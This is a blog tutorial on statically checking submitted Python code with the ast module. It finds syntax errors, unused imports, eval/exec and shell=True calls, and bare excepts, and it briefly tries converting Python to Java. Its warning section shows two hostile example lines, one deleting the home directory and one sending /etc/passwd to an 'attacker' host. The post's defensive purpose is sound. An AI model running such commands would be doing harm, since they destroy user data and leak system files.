Checking Python Code Without Running It
Published 2026-07-26 · SameOS Tools
I set out to build a tool that checks Python code submitted through a web form, and got stuck on the first line. Verifying code seems to require running it — and the moment you run someone else's code on your server, the server is no longer yours. The answer was to read it instead of running it. Python ships with a module that does exactly that: ast.
Why you must not execute it
The obvious approach is to drop the submitted code into exec() and report whatever error comes back. It appears to work, right up until someone sends two lines like these.
# What happens if this arrives
import os
os.system("rm -rf ~") # your files are gone
# Or the quieter version that just takes things
import urllib.request
urllib.request.urlopen("http://attacker/?d=" + open("/etc/passwd").read())
Services that genuinely run submitted code defend against this with isolated containers, execution timeouts, blocked networking and memory ceilings — layer upon layer. That is not something to improvise on a personal server. So I changed the goal: find out only what can be known without running anything.
ast — turning code into structure
An abstract syntax tree is the intermediate form Python builds before it executes anything: "this line assigns a variable, the right side is an addition, its left operand is the number 5". ast.parse() builds that structure and stops there, so nothing you feed it ever runs. And if the structure cannot be built at all, that is precisely a syntax error — reported with its position.
import ast
def check_syntax(source):
"""Find syntax errors. Nothing is executed."""
try:
return ast.parse(source), None
except SyntaxError as e:
return None, {
"line": e.lineno or 0,
"col": (e.offset or 1) - 1,
"message": e.msg,
"text": (e.text or "").rstrip(),
}
# Trying it out
tree, err = check_syntax('def greet(name)\n print("hi")\n')
if err:
print(f'line {err["line"]}, col {err["col"] + 1}: {err["message"]}')
print(" " + err["text"])
print(" " + " " * err["col"] + "^")
# Output:
# line 1, col 16: expected ':'
# def greet(name)
# ^
Line, column and the missing token — in under twenty lines.
What else the structure gives you
Once you hold the tree you can walk it looking for anything you like; ast.walk() hands you every node in turn. I looked for three things: imports that are never used, dangerous calls such as eval, and bare except clauses that swallow everything.
def find_unused_imports(tree):
"""Imports that are never referenced anywhere."""
imported = {} # name -> line it was imported on
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for a in node.names:
imported[(a.asname or a.name).split(".")[0]] = node.lineno
elif isinstance(node, ast.ImportFrom):
for a in node.names:
imported[a.asname or a.name] = node.lineno
used = {n.id for n in ast.walk(tree) if isinstance(n, ast.Name)}
for n in ast.walk(tree): # math.pi -> take the leading name
if isinstance(n, ast.Attribute):
base = n
while isinstance(base, ast.Attribute):
base = base.value
if isinstance(base, ast.Name):
used.add(base.id)
return [{"line": line, "name": name}
for name, line in imported.items() if name not in used]
DANGEROUS = {
"eval": "Executes a string as code. Mix user input in and it becomes a way in.",
"exec": "Executes a string as code, with the same risk as eval.",
}
def find_dangerous(tree):
"""Calls that can execute arbitrary code."""
found = []
for node in ast.walk(tree):
if isinstance(node, ast.Call):
name = getattr(node.func, "id", None)
if name in DANGEROUS:
found.append({"line": node.lineno, "name": name, "why": DANGEROUS[name]})
# subprocess through a shell allows command injection
for kw in node.keywords:
if kw.arg == "shell" and getattr(kw.value, "value", False) is True:
found.append({"line": node.lineno, "name": "shell=True",
"why": "Input can end up inside the command line."})
return found
Here it is running for real. Dangerous code is reported by line number — and never executed.
$ printf 'import os\nimport json\nprint(json.dumps({"a":1}))\n' | python3 pycheck.py
line 1: unused import — os
$ printf 'import subprocess\nuser = input()\neval(user)\nsubprocess.run(user, shell=True)\n' | python3 pycheck.py
line 3: risky — eval … Executes a string as code.
line 4: risky — shell=True … Input can end up inside the command line.
$ printf 'try:\n x = 1/0\nexcept:\n pass\n' | python3 pycheck.py
line 3: a bare except swallows every exception. Name the ones you mean to catch.
# Proving nothing runs
$ printf 'import os\nos.system("echo executed")\n' | python3 pycheck.py
no problems found (0 functions) # "executed" never printed
The limits of not running it
Plenty stays invisible this way. Code that is syntactically perfect can still fail while running — dividing by zero, opening a file that is not there, indexing past the end of a list — and only execution reveals that. Even a misspelled variable name is something Python notices only at runtime. So this checks grammar and habits; it does not certify that the code is correct. For deeper analysis, install a dedicated tool such as pyflakes or ruff.
A detour: translating to other languages
With the structure in hand, rewriting it in another language's grammar seemed worth trying. The result was a half success. Here is one Python function turned into Java.
# Original (Python)
def grade(score):
bonus = 5
total = score + bonus
if total >= 90:
print("A")
else:
print("B")
return total
// Converted (Java)
public static int grade(int score) {
int bonus = 5;
int total = score + bonus;
if (total >= 90) {
System.out.println("A");
}
else {
System.out.println("B");
}
return total;
}
It looks convincing, and that is roughly where it stops. Python does not declare types while Java, C++ and C# insist on them. bonus = 5 is clearly an int, but x = get_value() gives nothing to work from. Dictionaries, comprehensions and class hierarchies make the guessing impossible. Conversion like this is not a general-purpose tool — it is a way for someone learning a second language to see the same idea written both ways.
Wrapping up
In short: never execute code that someone else sent you. Without running a single line you can still find syntax errors, unused imports, dangerous calls and careless exception handling — using nothing but the ast module that Python already ships with. The complete code is on GitHub below.